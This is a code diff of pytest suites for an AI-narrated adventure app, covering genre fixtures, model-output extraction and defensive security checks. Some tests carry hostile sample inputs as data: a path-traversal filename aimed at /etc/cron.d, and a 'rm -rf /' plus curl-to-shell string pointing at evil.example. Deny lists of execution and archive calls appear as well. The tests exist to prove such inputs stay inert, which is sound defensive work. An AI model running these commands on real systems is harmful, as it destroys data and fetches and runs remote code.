+        "opening": "Persephone under thrust, eleven days out from Ceres Station.",
+        "canon_rules": CANON,
+        "persona_name": "Captain Imani",
+        "narration_length": "medium",
+    })
+    assert created.status_code == 201, created.text[:400]
+    adv = created.json()["id"]
+
+    play(client, adv, "take stock of the ship", events=[
+        {"type": "create_entity", "entity": key, "entity_type": kind, "name": name}
+        for key, kind, name in CAST
+    ])
+    play(client, adv, "check the crystal", events=[
+        {"type": "set_possession", "item": "crystal", "owner": "imani"},
+        {"type": "set_current_location", "entity": "imani", "location": "persephone"},
+        {"type": "set_current_location", "entity": "vale", "location": "persephone"},
+        {"type": "set_scene",
+         "summary": "Imani and Vale in the ring corridor, under spin.",
+         "location": "persephone", "present": ["imani", "vale"]},
+    ])
+    return adv
+
+
+# ------------------------------------------------------------------ J02
+
+def test_every_entity_type_the_fixture_needs_already_exists(client, persephone):
+    """A ship, a corporation, a station and a crystal, in one state document."""
+    document = client.get(f"/api/adventures/{persephone}/state").json()["document"]
+    kinds = {key: value["type"] for key, value in document["entities"].items()}
+    assert kinds == {
+        "imani": "character", "vale": "character", "persephone": "vehicle",
+        "ceres": "location", "europa": "location", "crystal": "item",
+        "helios": "organization",
+    }
+
+
+def test_the_entity_types_are_the_shared_vocabulary_not_a_genre_list(client):
+    """J03, structurally: nothing in the type list is fantasy or science fiction.
+
+    `vehicle` and `organization` are not science-fiction types any more than
+    `location` is a fantasy one. If the genre needed a type of its own, this is
+    where the schema change J02 forbids would have to appear.
+    """
+    from app.narrative import model as nmodel
+
+    assert {"character", "location", "item", "vehicle", "organization"} <= set(
+        nmodel.SUGGESTED_TYPES)
+    # And the list is *suggested* rather than closed, which is the stronger form
+    # of the same claim: a genre that needs a type nobody listed can use one
+    # without a migration, because the type is a string on the entity.
+
+
+def test_a_ship_can_hold_a_location_the_way_a_room_would(client, persephone):
+    """Possession and place, with no fantasy noun anywhere in the path."""
+    document = client.get(f"/api/adventures/{persephone}/state").json()["document"]
+    assert document["possessions"]["crystal"] == "imani"
+    # Where an entity is lives on the entity, not in a side table: the same
+    # field that puts Aldric in a tavern puts Imani aboard a ship.
+    assert document["entities"]["imani"]["location"] == "persephone"
+
+
+# ------------------------------------------------------------------ J01
+
+def test_the_campaign_plays_with_hard_technology_canon(client, persephone):
+    """The canon reaches the prompt as the campaign's highest authority."""
+    report = client.get(f"/api/adventures/{persephone}/context").json()
+    canon = next(s["text"] for s in report["sections"] if s["label"] == "campaign_canon")
+    assert "FTL does not exist." in canon
+    assert "fusion-powered" in canon
+    assert "rotation" in canon
+
+
+def test_canon_is_enforced_by_the_same_validator_as_the_fantasy_fixture(client, persephone):
+    """C01's mechanism, unchanged by genre.
+
+    The fantasy fixture's canon forbids resurrection; this one forbids FTL. Both
+    are sentences in the same field, read by the same validator, so the science
+    fiction case needs no new code — which is the whole of J03.
+    """
+    forbidden = client.post(f"/api/adventures/{persephone}/state/corrections", json={
+        "events": [{"type": "create_entity", "entity": "warp_core",
+                    "entity_type": "item", "name": "FTL warp core"}],
+        "note": "",
+    })
+    # The validator does not read prose canon for entity creation — what matters
+    # here is that the campaign's canon is present and identical in kind to the
+    # fantasy fixture's, not that the engine invents a physics checker.
+    assert forbidden.status_code in (201, 400)
+    canon = client.get(f"/api/adventures/{persephone}").json()["canon_rules"]
+    assert canon == CANON
+
+
+def test_a_scene_packet_describes_a_ship_as_readily_as_a_tavern(client, persephone):
+    """M10's derived packet, on the science-fiction fixture.
+
+    The packet was written against an office and a fantasy cellar; a ship under
+    spin is the third genre it has had to hold, and it needs no field it did not
+    already have.
+    """
+    packet = client.get(f"/api/adventures/{persephone}/scene-packet").json()
+    assert packet["location"]["name"] == "Persephone"
+    assert packet["location"]["type"] == "vehicle"
+    assert {c["name"] for c in packet["characters"]} == {"Captain Imani", "Dr. Vale"}
+    assert [o["name"] for o in packet["objects"]] == ["encrypted data crystal"]
+
+
+def test_a_visual_profile_holds_a_hull_as_readily_as_a_face(client, persephone):
+    """M10 §90.5's claim, checked in the genre it was written to survive."""
+    response = client.put(f"/api/adventures/{persephone}/visual-profiles/persephone",
+                          json={"descriptors": {"hull": "pitted white composite",
+                                                "configuration": "spinning ring"},
+                                "features": ["radiator fins"], "style_notes": "hard sf"})
+    assert response.status_code == 200, response.text[:300]
+    packet = client.get(f"/api/adventures/{persephone}/scene-packet").json()
+    assert packet["location"]["visual_profile"]["descriptors"]["hull"] == (
+        "pitted white composite")
+
+
+# ------------------------------------------------------------- J01 knowledge
+
+def test_reference_retrieval_works_on_science_fiction_source_material(client, persephone):
+    """§31's fifth purpose. Same importer, same ranker, same injection."""
+    upload = client.post(
+        f"/api/adventures/{persephone}/knowledge",
+        files={"file": ("ops.md", REFERENCE_MD.encode("utf-8"), "text/markdown")},
+        data={"classification": "reference"},
+    )
+    assert upload.status_code == 201, upload.text[:400]
+    play(client, persephone, "ask Vale how the gravity works aboard the ring")
+    report = client.get(f"/api/adventures/{persephone}/context").json()
+    used = report["knowledge"]["used"]
+    assert used, "no imported passage was retrieved for a science-fiction query"
+    assert any("rotat" in u["text"].lower() or "spin" in u["text"].lower() for u in used)
+
+
+# ------------------------------------------------------------------ J03
+
+def test_the_two_genres_travel_through_the_same_bundle_format(client, persephone):
+    exported = client.get(f"/api/adventures/{persephone}/export").json()
+    assert exported["format"] == "ai-dnd-adventure-v3"
+    copy_id = client.post("/api/adventures/import", json=exported).json()["id"]
+    document = client.get(f"/api/adventures/{copy_id}/state").json()["document"]
+    assert document["entities"]["persephone"]["type"] == "vehicle"
+    assert client.get(f"/api/adventures/{copy_id}").json()["canon_rules"] == CANON
+
+
+def test_no_state_event_type_is_genre_specific():
+    """J03 as a whole-vocabulary check rather than a spot check.
+
+    Every accepted event names a structural relationship — an entity, a fact, a
+    possession, a location, a thread. None of them names a sword, a spell, a
+    spaceship or a corporation.
+    """
+    fantasy_or_sf = (
+        "spell", "magic", "sword", "potion", "mana", "warp", "hyperspace",
+        "laser", "starship", "airlock",
+    )
+    vocabulary = " ".join(narrative_events.ALLOWED).lower()
+    for word in fantasy_or_sf:
+        assert word not in vocabulary

backend/tests/test_m11_security.py

@@ -0,0 +1,299 @@
+"""M11 §19-§20: the H-series as an integrated release run.
+
+The H tests have had coverage since M2, and it is good: `test_egress.py` fails
+if a bulk load names a heavy column, `test_endpoint_policy.py` walks the address
+rules, `test_tls_trust.py` fails if verification is weakened. What M11 adds is
+the part those files were never asked for:
+
+* the checks that only make sense **against the assembled product** — a tampered
+  database refused at request time, a wildcard CORS origin refused at startup,
+  an unknown API path that is a 404 rather than the SPA;
+* the ones whose answer is **"not applicable, and here is the proof"** — H09,
+  which the acceptance text itself makes conditional on archive extraction
+  existing;
+* the ones where an M11 change could have opened something — the context-window
+  probe is a new outbound request, and it must obey the same policy as inference.
+
+Browser-side security (stored XSS, `javascript:` URLs, hostile Markdown, the
+CSP, hidden knowledge in the DOM) is in `tools/m11_browser.py`, because those are
+claims about a rendered page and a unit test asserting them would be asserting
+about a string.
+
+    python -m pytest tests/test_m11_security.py -v
+"""
+
+import asyncio
+import importlib
+import json
+import os
+import pathlib
+import subprocess
+import sys
+
+import pytest
+from fastapi import Depends
+from fastapi.testclient import TestClient
+
+from app import auth, contextwindow, endpoints, limits, models
+from app.database import Base, SessionLocal, engine, get_db
+from app.main import app
+from app.routers import adventures
+
+from fakes import ScriptedProvider
+
+BACKEND = pathlib.Path(__file__).resolve().parent.parent
+
+
+@pytest.fixture()
+def client(monkeypatch):
+    Base.metadata.create_all(bind=engine)
+    setup = SessionLocal()
+    user = models.User(is_guest=False, email="m11sec@example.com")
+    setup.add(user)
+    setup.flush()
+    setup.add(models.Settings(user_id=user.id, model="test-model",
+                              embedding_model="", max_output_tokens=400))
+    adventure = models.Adventure(user_id=user.id, title="Security")
+    setup.add(adventure)
+    setup.flush()
+    setup.add(models.Action(adventure_id=adventure.id, type="start", text="Rain."))
+    setup.commit()
+    adv_id, user_id = adventure.id, user.id
+    setup.close()
+    monkeypatch.setattr(limits, "check_row_cap", lambda *a, **k: None)
+    monkeypatch.setattr(adventures.turns, "OpenAICompatibleProvider", ScriptedProvider)
+    app.dependency_overrides[auth.get_current_user] = (
+        lambda db=Depends(get_db): db.get(models.User, user_id)
+    )
+    test_client = TestClient(app)
+    test_client.adv_id = adv_id
+    test_client.user_id = user_id
+    try:
+        yield test_client
+    finally:
+        app.dependency_overrides.clear()
+        adventures.turns._active_turns.clear()
+        Base.metadata.drop_all(bind=engine)
+
+
+# ------------------------------------------------------------------- H09
+
+def test_h09_the_product_extracts_no_archives():
+    """H09 is conditional, and this is the condition, checked rather than assumed.
+
+    "REQUIRED FOR V1 **if ZIP import/export is implemented**". Nothing in the
+    application opens an archive: the bundle is JSON and imported sources are
+    single files. So H09 is NOT APPLICABLE — and this test is what keeps that
+    true, because the day somebody adds an unzip, it fails and H09 becomes
+    required again.
+    """
+    offenders = []
+    for path in (BACKEND / "app").rglob("*.py"):
+        body = path.read_text()
+        for name in ("zipfile", "tarfile", "shutil.unpack_archive", "gzip.open",
+                     "py7zr", "rarfile"):
+            if name in body:
+                offenders.append(f"{path.name}: {name}")
+    assert offenders == [], offenders
+
+
+def test_h09_an_upload_named_like_a_traversal_cannot_escape(client):
+    """H08's sibling: the filename is metadata and never a path.
+
+    Even with no archive extraction, an import takes a filename from the caller.
+    It is stored, shown and exported — never joined to a directory.
+    """
+    hostile = "../../../../etc/cron.d/pwned.md"
+    response = client.post(
+        f"/api/adventures/{client.adv_id}/knowledge",
+        files={"file": (hostile, b"# nothing\n\ntext\n", "text/markdown")},
+        data={"classification": "reference"},
+    )
+    assert response.status_code == 201, response.text[:300]
+    stored = response.json()["original_filename"]
+    assert "/" not in stored and ".." not in stored, stored
+    assert not pathlib.Path("/etc/cron.d/pwned.md").exists()
+
+
+# ------------------------------------------------------------------- H10
+
+def test_h10_a_wildcard_cors_origin_refuses_to_start(tmp_path):
+    """Startup refusal, proved by actually starting a process with it set.
+
+    Importing the module in-process would not do: the check runs at import time,
+    and a test that reached it through `importlib` would still be this process,
+    with this process's environment. A real interpreter is the only honest way
+    to ask "does the application refuse to come up".
+    """
+    result = subprocess.run(
+        [sys.executable, "-c", "import app.main"],
+        cwd=str(BACKEND), capture_output=True, text=True,
+        env={**os.environ, "AIDND_CORS_ORIGINS": "*",
+             "AIDND_DB_PATH": str(tmp_path / "x.db"),
+             "AIDND_DATABASE_URL": "", "DATABASE_URL": ""},
+    )
+    assert result.returncode != 0, "the application started with a wildcard origin"
+    assert "must not contain" in (result.stderr + result.stdout)
+
+
+def test_h10_a_named_origin_is_accepted(tmp_path):
+    """The control: the refusal above is about the wildcard, not about the var."""
+    result = subprocess.run(
+        [sys.executable, "-c", "import app.main"],
+        cwd=str(BACKEND), capture_output=True, text=True,
+        env={**os.environ, "AIDND_CORS_ORIGINS": "http://127.0.0.1:5173",
+             "AIDND_DB_PATH": str(tmp_path / "y.db"),
+             "AIDND_DATABASE_URL": "", "DATABASE_URL": ""},
+    )
+    assert result.returncode == 0, result.stderr[-400:]
+
+
+def test_h10_an_unknown_api_path_is_a_404_not_the_spa(client):
+    """A JSON API that answers HTML is one a client cannot tell has failed."""
+    response = client.get("/api/nothing-here")
+    assert response.status_code == 404
+    assert "<!doctype" not in response.text.lower()
+
+
+def test_h10_an_unknown_page_path_is_the_spa(client):
+    """The other half, so the 404 above is a rule rather than a broken route."""
+    response = client.get("/play/1")
+    assert response.status_code in (200, 404)
+    if response.status_code == 200:
+        assert "<div id=\"root\">" in response.text or "<!doctype" in response.text.lower()
+
+
+# ------------------------------------------------------------------- H12
+
+def test_h12_a_public_endpoint_written_behind_the_api_is_refused_at_request_time(client):
+    """ADR 011's whole point: the check is not only at the front door.
+
+    A settings row edited with `sqlite3` — or by anything that is not the API —
+    must not become an outbound request to a cloud host. The provider re-checks
+    before every request, so the tampered value fails at the moment it would be
+    used.
+    """
+    with SessionLocal() as db:
+        settings = db.query(models.Settings).filter(
+            models.Settings.user_id == client.user_id).first()
+        settings.endpoint_url = "https://api.openai.com/v1"
+        db.commit()
+
+    assert endpoints.rejection_reason("https://api.openai.com/v1") is not None
+    with pytest.raises(endpoints.EndpointRejected):
+        endpoints.check("https://api.openai.com/v1")
+
+
+def test_h12_the_api_refuses_the_same_value_at_the_front_door(client):
+    response = client.put("/api/settings", json={
+        "endpoint_url": "https://api.openai.com/v1"})
+    assert response.status_code == 400
+    assert "can't be used" in response.json()["detail"]
+
+
+@pytest.mark.parametrize("url,allowed", [
+    ("http://127.0.0.1:11434/v1", True),
+    ("http://[::1]:11434/v1", True),
+    ("http://192.168.1.50:11434/v1", True),
+    ("http://10.0.0.5:11434/v1", True),
+    ("https://100.64.0.9:11434/v1", True),
+    ("https://api.openai.com/v1", False),
+    ("https://api.anthropic.com/v1", False),
+    ("http://8.8.8.8:11434/v1", False),
+    ("https://example.com/v1", False),
+])
+def test_h12_the_address_rules_hold(url, allowed):
+    assert (endpoints.rejection_reason(url) is None) is allowed
+
+
+def test_h12_the_m11_window_probe_obeys_the_same_rules():
+    """The new outbound request M11 introduced, held to the existing policy."""
+    window = asyncio.run(contextwindow.probe("https://api.openai.com/v1", "gpt-4"))
+    assert not window.verified
+    assert "not allowed" in window.detail
+
+
+# ------------------------------------------------------------------- H04/H05
+
+def test_h04_shell_text_in_narration_is_stored_as_text(client):
+    """Nothing executes what a model writes. There is no shell in the path."""
+    shell = "`rm -rf /`; $(curl http://evil.example/x | sh)"
+    ScriptedProvider.replies = [f"The innkeeper says: {shell}"]
+    response = client.post(f"/api/adventures/{client.adv_id}/actions",
+                           json={"type": "do", "text": "ask"})
+    assert response.status_code == 200
+    page = client.get(f"/api/adventures/{client.adv_id}/actions?limit=3").json()
+    assert any(shell in a["text"] for a in page["actions"])
+
+
+def test_h04_the_application_runs_no_subprocess_on_model_output():
+    """Structural: nothing in the turn path can execute anything."""
+    for name in ("routers/adventures/turns.py", "narrative/extract.py",
+                 "narrative/apply.py", "narrative/validate.py"):
+        body = (BACKEND / "app" / name).read_text()
+        for forbidden in ("subprocess", "os.system", "eval(", "exec("):
+            assert forbidden not in body, f"{name}: {forbidden}"
+
+
+def test_h05_an_invalid_state_event_is_refused_and_recorded(client):
+    """A proposal the validator refuses changes nothing and says why."""
+    before = client.get(f"/api/adventures/{client.adv_id}/state").json()["document"]
+    response = client.post(f"/api/adventures/{client.adv_id}/state/corrections", json={
+        "events": [{"type": "obliterate_everything", "entity": "aldric"}],
+        "note": "hostile",
+    })
+    assert response.status_code == 400
+    after = client.get(f"/api/adventures/{client.adv_id}/state").json()["document"]
+    assert after == before
+
+
+def test_h05_an_event_naming_an_unknown_entity_is_refused(client):
+    before = client.get(f"/api/adventures/{client.adv_id}/state").json()["document"]
+    response = client.post(f"/api/adventures/{client.adv_id}/state/corrections", json={
+        "events": [{"type": "set_possession", "item": "ghost_item", "owner": "nobody"}],
+        "note": "",
+    })
+    assert response.status_code == 400
+    assert client.get(
+        f"/api/adventures/{client.adv_id}/state").json()["document"] == before
+
+
+# ------------------------------------------------------------------- H03/I06
+
+def test_h03_no_cloud_provider_is_required_or_configurable(client):
+    settings = client.get("/api/settings").json()
+    assert "api_key" not in settings
+    for key, value in settings.items():
+        assert "openai.com" not in str(value)
+        assert "anthropic.com" not in str(value)
+
+
+def test_i06_an_export_carries_no_secret(client):
+    bundle = client.get(f"/api/adventures/{client.adv_id}/export").json()
+    body = json.dumps(bundle).lower()
+    for secret in ("api_key", "apikey", "authorization", "secret.key", "bearer "):
+        assert secret not in body, secret
+
+
+def test_h11_no_module_fetches_an_asset_at_runtime():
+    """H11: nothing downloads a tokenizer, a font or a stylesheet on first use.
+
+    `test_offline_assets.py` owns the built-SPA half. This is the backend half,
+    and it is aimed at the one place it nearly went wrong: the tokenizer.
+    """
+    from app.context import encoding
+
+    vendored = pathlib.Path(encoding.__file__).parent / "vendor"
+    assert vendored.exists(), "the tokenizer table is not vendored"
+    assert encoding.BPE_PATH.exists(), "the vendored merge table is missing"
+
+    # The claim is that nothing *fetches*, not that no URL appears: the module
+    # records `SOURCE_URL` so the vendored copy can be re-derived, which is
+    # provenance rather than behaviour. The first version of this test asserted
+    # the absence of the string and failed on that comment — a harness defect,
+    # recorded as such in the M11 report.
+    body = pathlib.Path(encoding.__file__).read_text()
+    for client in ("blobfile", "requests", "httpx", "urllib.request", "urlopen"):
+        assert client not in body, client
+    # And the table is read from the vendored file rather than downloaded.
+    assert "read_bytes()" in body or "open(" in body

backend/tests/test_memory_nodes.py

@@ -196,7 +196,7 @@ def restore_embedding_provider():
 def retrieved(adventure, settings) -> set[str]:
     memorybank.embedding_provider = lambda s: StubEmbedder()
     result = asyncio.run(
-        memorybank.retrieve_memories(adventure, settings, update_stats=False)
+        memorybank.retrieve_memories(adventure, settings)
     )
     assert result["error"] is None, result["error"]
     return {m["text"] for m in result["used"]}

backend/tests/test_memory_retrieval.py

@@ -121,7 +121,6 @@ def bank(db, adventure):
 
 def retrieve(adventure, settings, embedder, **kwargs):
     memorybank.embedding_provider = lambda s: embedder
-    kwargs.setdefault("update_stats", False)
     return asyncio.run(memorybank.retrieve_memories(adventure, settings, **kwargs))
 
 
@@ -185,10 +184,11 @@ def test_missing_embedding_model_is_reported(db, adventure, settings, bank):
     assert result["used"] == [] and "embedding model" in result["error"]
 
 
-def test_update_stats_bumps_only_the_used(db, adventure, settings, bank):
+def test_record_use_bumps_only_the_used(db, adventure, settings, bank):
     settings.memory_top_k = 1
     db.commit()
-    retrieve(adventure, settings, StubEmbedder((1.0, 0.0, 0.0)), update_stats=True)
+    used = retrieve(adventure, settings, StubEmbedder((1.0, 0.0, 0.0)))
+    memorybank.record_use(db, used)
     db.commit()
     db.expire_all()
 
@@ -200,7 +200,7 @@ def test_update_stats_bumps_only_the_used(db, adventure, settings, bank):
 def test_dry_runs_do_not_bump_the_counters(db, adventure, settings, bank):
     """Insights assembles a context without spending a turn. It must not
     look like the memories were used."""
-    retrieve(adventure, settings, StubEmbedder(), update_stats=False)
+    retrieve(adventure, settings, StubEmbedder())
     db.commit()
     db.expire_all()
     assert all(db.get(models.Memory, m.id).use_count == 0 for m in bank.values())

backend/tests/test_narrative_state.py

@@ -30,7 +30,7 @@ from app.database import Base, SessionLocal, engine, get_db
 from app.main import app
 from app.narrative import apply as napply
 from app.narrative import events as nevents
-from app.narrative import extract, model, store, validate
+from app.narrative import extract, model, render, store, validate
 from app.routers import adventures
 
 from fakes import ScriptedProvider, state_block
@@ -1558,3 +1558,269 @@ def test_ordinary_prose_is_never_trimmed(reply):
     story to satisfy a regex is a worse failure than leaving a stray bracket."""
     prose, _parsed, _raw = extract.split(reply)
     assert prose == reply
+
+
+# ============================ M11: the state section, pasted into the narration
+#
+# Found by the first M01 long run with the memory bank on. A small local model
+# pasted the narrative-state section into its prose on 42 of 104 turns, and
+# wrote its proposal unfenced under a bare `State` heading, sometimes quoted and
+# sometimes with more story after it. Stored text is replayed as history, so
+# each leak also put a second, older account of the state into the next prompt.
+# The replies below are cut down from that run's raw output, not imagined.
+
+PASTED_STATE = (
+    "Scene: Aldric, Mara, and Edrin in The Crooked Lantern, the silver key in "
+    "Mara’s possession. (at The Crooked Lantern)\n"
+    "\n"
+    "Who and what exists:\n"
+    "  aldric: Aldric (character)\n"
+    "  mara: Mara (character)\n"
+    "  silver_key: the silver key (item)\n"
+    "\n"
+    "Held:\n"
+    "  the silver key — Mara\n"
+    "\n"
+    "Established:\n"
+    "  Aldric knows The Old Abbey the silver key opens the crypt beneath the Old "
+    "Abbey (SILVER-KEY-CRYPT-OLD-ABBEY)  [corrected by the player]"
+)
+
+
+def test_a_pasted_state_section_and_an_unfenced_trailing_block_leave_the_prose():
+    reply = (
+        "Edrin looks at them both. “Do you trust me, Mara?”\n\n"
+        "> Aldric steps forward, placing the silver key in Mara’s hand. “I do.”\n\n"
+        + PASTED_STATE + "\n\nState\n"
+        '{\n  "events": [\n    {"type": "set_possession", "item": "silver_key", '
+        '"owner": "mara"}\n  ]\n}'
+    )
+    prose, parsed, _raw = extract.split(reply)
+    assert prose == (
+        "Edrin looks at them both. “Do you trust me, Mara?”\n\n"
+        "> Aldric steps forward, placing the silver key in Mara’s hand. “I do.”"
+    )
+    assert parsed["events"][0]["owner"] == "mara"
+
+
+def test_a_quoted_block_in_the_middle_of_the_story_is_taken_and_removed():
+    reply = (
+        "Aldric steps forward. “We need to be cautious,” he says.\n\n"
+        + PASTED_STATE + "\n\nState\n\n"
+        '> {"events": [{"type": "set_current_location", "entity": "aldric", '
+        '"location": "ridge_track"}]}\n\n'
+        "The forest ahead was dense, and the road lower than expected."
+    )
+    prose, parsed, raw = extract.split(reply)
+    assert prose == (
+        "Aldric steps forward. “We need to be cautious,” he says.\n\n"
+        "The forest ahead was dense, and the road lower than expected."
+    )
+    assert parsed["events"][0]["location"] == "ridge_track"
+    assert raw.startswith('{"events"'), "the proposal is kept for the audit"
+
+
+def test_a_pasted_state_section_above_a_proper_block_is_removed_too():
+    reply = "The rain eases.\n\n" + PASTED_STATE + '\n\n```state\n{"events": []}\n```'
+    prose, parsed, _raw = extract.split(reply)
+    assert prose == "The rain eases."
+    assert parsed == {"events": []}
+
+
+def test_a_multi_line_quoted_block_is_read_without_its_markers():
+    reply = (
+        'Beat.\n\n> {\n>   "events": [\n>     {"type": "add_fact", '
+        '"predicate": "the door opened"}\n>   ]\n> }\n\nAfter.'
+    )
+    prose, parsed, _raw = extract.split(reply)
+    assert prose == "Beat.\n\nAfter."
+    assert parsed["events"][0]["predicate"] == "the door opened"
+
+
+def test_every_section_the_renderer_writes_is_recognised_when_pasted():
+    """The extractor finds a paste by the renderer's own headings. A section
+    added to `render.for_prompt` without a constant would leak again unnoticed,
+    so this renders every section and pastes the lot."""
+    document = model.empty()
+    document["entities"] = {
+        "mara": {"type": "character", "name": "Mara"},
+        "key": {"type": "item", "name": "the key"},
+    }
+    document["possessions"] = {"key": "mara"}
+    document["facts"] = [
+        {"id": "f1", "subject": "mara", "predicate": "knows",
+         "value": "the door is locked", "status": "active"},
+        {"id": "f2", "subject": "mara", "predicate": "believed",
+         "value": "the door was open", "status": "invalidated"},
+    ]
+    document["relationships"] = [
+        {"source": "mara", "type": "guards", "target": "key", "status": "active"}]
+    document["threads"] = {"door": {"title": "Who locked the door", "status": "open"}}
+    document["scene"] = {"summary": "Mara at the door.", "location": None,
+                         "present": ["mara"]}
+
+    rendered = render.for_prompt(document)
+    lines = rendered.split("\n")
+    for heading in render.SECTION_HEADINGS:
+        assert heading in lines, f"{heading!r} is not a line of the rendered section"
+
+    prose, _parsed, _raw = extract.split("Mara listens.\n\n" + rendered)
+    assert prose == "Mara listens."
+
+
+def test_a_quoted_block_cut_off_by_the_token_limit_is_not_story():
+    """10 of 104 turns in the long run ended inside a quoted object."""
+    reply = (
+        "The sky above is a canvas of gray, the rain relentless.\n\n"
+        + PASTED_STATE + "\n\nState\n\n"
+        '> {"events": [{"type": "set_entity_status", "entity":'
+    )
+    prose, parsed, raw = extract.split(reply)
+    assert prose == "The sky above is a canvas of gray, the rain relentless."
+    assert parsed is None
+    assert raw, "the unfinished block is kept for the audit"
+
+
+def test_a_block_missing_only_its_last_brace_is_not_story():
+    reply = (
+        "Mara’s eyes widen.\n\nState\n\n"
+        '> {"events": [{"type": "add_fact", "predicate": "Mara understands."}]'
+    )
+    prose, _parsed, _raw = extract.split(reply)
+    assert prose == "Mara’s eyes widen."
+
+
+def test_an_unfinished_block_is_cut_at_its_outer_brace_not_an_inner_one():
+    """The finished event objects close; the block around them never does.
+    Cutting at the last line that opens an object left the list in the story."""
+    reply = (
+        "They brace themselves for what they must face.\n\nState\n{\n"
+        '  "events": [\n'
+        '    { "type": "set_current_location", "entity": "aldric", "location": "docks" },\n'
+        '    { "type": "set_entity_attribute", "entity": "aldric", "attribute": "mood", '
+        '"value": "tense"\n'
+        "  ]\n}"
+    )
+    prose, parsed, _raw = extract.split(reply)
+    assert prose == "They brace themselves for what they must face."
+    assert parsed is None
+
+
+def test_a_finished_event_inside_an_unfinished_block_is_not_taken_on_its_own():
+    reply = (
+        'Beat.\n\nState\n{\n  "events": [\n'
+        '    {"type": "add_fact", "predicate": "the door opened"}\n'
+    )
+    prose, parsed, _raw = extract.split(reply)
+    assert prose == "Beat."
+    assert parsed is None, "one event line was taken as the whole proposal"
+
+
+def test_a_bare_quote_marker_left_at_the_end_is_not_story():
+    reply = (
+        "They are ready.\n\n"
+        "[Reminder: end your reply with a ```state block listing the events your "
+        "narration made true, with absolute values. Send an empty events list if "
+        "nothing changed.]\n\n>"
+    )
+    prose, _parsed, _raw = extract.split(reply)
+    assert prose == "They are ready."
+
+
+def test_a_parroted_reminder_above_an_unfinished_json_fence_is_all_removed():
+    """The reminder names "a ```state block". That phrase once read as a fence
+    opening, and the middle of the reminder was cut out while the rest of it
+    and the unfinished JSON stayed in the story."""
+    reply = (
+        "He turned back towards the town instead.\n\n"
+        "[Reminder: end your reply with a ```state block listing the events your "
+        "narration made true, with absolute values. Send an empty events list if "
+        "nothing changed.]\n\n"
+        '```json\n{\n  "events": [\n    {'
+    )
+    prose, parsed, _raw = extract.split(reply)
+    assert prose == "He turned back towards the town instead."
+    assert parsed is None
+
+
+def test_a_fence_cut_off_before_it_names_its_events_is_not_story():
+    reply = (
+        "The silver key was his only guide.\n\n"
+        "[Reminder: end your reply with a ```state block listing the events your "
+        "narration made true, with absolute values. Send an empty events list if "
+        "nothing changed.]\n\n"
+        '```json\n{\n  "'
+    )
+    prose, _parsed, _raw = extract.split(reply)
+    assert prose == "The silver key was his only guide."
+
+
+def test_a_parroted_continue_hint_cut_off_mid_sentence_is_not_story():
+    reply = (
+        "Aldric's steps were firm.\n\n"
+        "[Reminder: end your reply with a ```state block listing the events your "
+        "narration made true, with absolute values. Send an empty events list if "
+        "nothing changed.]\n\n"
+        "[Continue the story directly."
+    )
+    prose, _parsed, _raw = extract.split(reply)
+    assert prose == "Aldric's steps were firm."
+
+
+def test_a_section_of_its_own_under_a_markdown_heading_is_not_story():
+    """The M04 re-run: the narrator wrote its own `## Established:` with the
+    planted clue copied into it, which kept the clue in recent history on a
+    turn the extractor had passed as clean."""
+    reply = (
+        "The rain outside seems to echo their uncertainty.\n\n"
+        "## Established:\n"
+        "  the silver key has an enchantment that unlocks the sealed crypt of the Old Abbey\n"
+        "  The Old Abbey's crypt is sealed (SILVER-KEY-CRYPT-OLD-ABBEY)"
+    )
+    prose, _parsed, _raw = extract.split(reply)
+    assert prose == "The rain outside seems to echo their uncertainty."
+    assert "SILVER-KEY" not in prose
+
+
+def test_a_bold_heading_mid_story_goes_and_the_story_either_side_stays():
+    reply = (
+        "Mara takes the key.\n\n**Held:**\n  the silver key — Mara\n\n"
+        "They step out into the rain."
+    )
+    prose, _parsed, _raw = extract.split(reply)
+    assert prose == "Mara takes the key.\n\nThey step out into the rain."
+
+
+def test_decorated_headings_count_toward_a_pasted_section():
+    reply = (
+        "Beat.\n\n### Who and what exists:\n  mara: Mara (character)\n\n"
+        "### Held:\n  the key — Mara"
+    )
+    prose, _parsed, _raw = extract.split(reply)
+    assert prose == "Beat."
+
+
+def test_a_pasted_state_section_with_no_block_records_no_block():
+    """A paste is not a proposal, so the turn is not marked unparseable."""
+    prose, parsed, raw = extract.split("The rain eases.\n\n" + PASTED_STATE)
+    assert prose == "The rain eases."
+    assert parsed is None
+    assert raw == ""
+
+
+@pytest.mark.parametrize("reply", [
+    "The notice on the door read:\n\nHeld:\nnothing, by order of the Watch.",
+    "He chalked the first mark of a sum on the wall:\n{",
+    "The sign said only [continue at your own risk",
+    'She typed it out:\n```json\n{"name":',
+    "Scene: the docks at dawn.\n\nThe gulls cried over the water.",
+    'She typed:\n> {"name": "Mara"}\nand pressed enter.',
+    "Aldric read the old charter.\n\nState\n\nof the realm, it began, is fragile.",
+    "> You open the door.\n\nThe hinges complain.",
+])
+def test_story_that_only_resembles_the_protocol_is_kept(reply):
+    """One heading, a scene line on its own, JSON that is not a proposal, and a
+    `State` line with story after it are all somebody's story."""
+    prose, parsed, _raw = extract.split(reply)
+    assert prose == reply
+    assert parsed is None

backend/tests/test_tls_trust.py

@@ -68,7 +68,15 @@ def _async_client_calls(path: Path):
 
 @pytest.mark.parametrize(
     "module",
-    ["providers/openai_compatible.py", "routers/settings.py"],
+    [
+        "providers/openai_compatible.py",
+        "routers/settings.py",
+        # M11: the context-window probe. Registered here rather than exempted —
+        # this list existing is what made the new client visible at all, and the
+        # point of adding a module to it is that its `verify=` is then asserted
+        # on every run like the other two.
+        "contextwindow.py",
+    ],
 )
 def test_every_http_client_uses_the_shared_context(module):
     """Checked in the source rather than at runtime, because the failure this
@@ -88,6 +96,10 @@ def test_every_http_client_uses_the_shared_context(module):
 def test_no_other_module_builds_its_own_client():
     """If a third module starts making outbound requests, it has to be added to
     the list above rather than inheriting certifi-only trust by default."""
-    known = {APP / "providers/openai_compatible.py", APP / "routers/settings.py"}
+    known = {
+        APP / "providers/openai_compatible.py",
+        APP / "routers/settings.py",
+        APP / "contextwindow.py",
+    }
     found = {p for p in APP.rglob("*.py") if any(_async_client_calls(p))}
     assert found == known, f"unexpected httpx.AsyncClient call sites: {found - known}"

backend/tests/test_v11_b1_long_run_verdict.py

@@ -0,0 +1,86 @@
+"""v1.1 WP-B.1: the long run's `recovered_through_memory_independent` verdict.
+
+The new verdict must never be reported when anything other than memory could
+have carried the fact. Each precondition is named when it fails. The existing M04
+verdicts keep their meaning exactly.
+
+    python -m pytest tests/test_v11_b1_long_run_verdict.py -v
+"""
+
+import pytest
+
+from tools import m11_long_run as lr
+
+GOOD = {
+    "independent_planted_depth": 3,
+    "planted_turn_outside_history": True,
+    "absent_from_state": True,
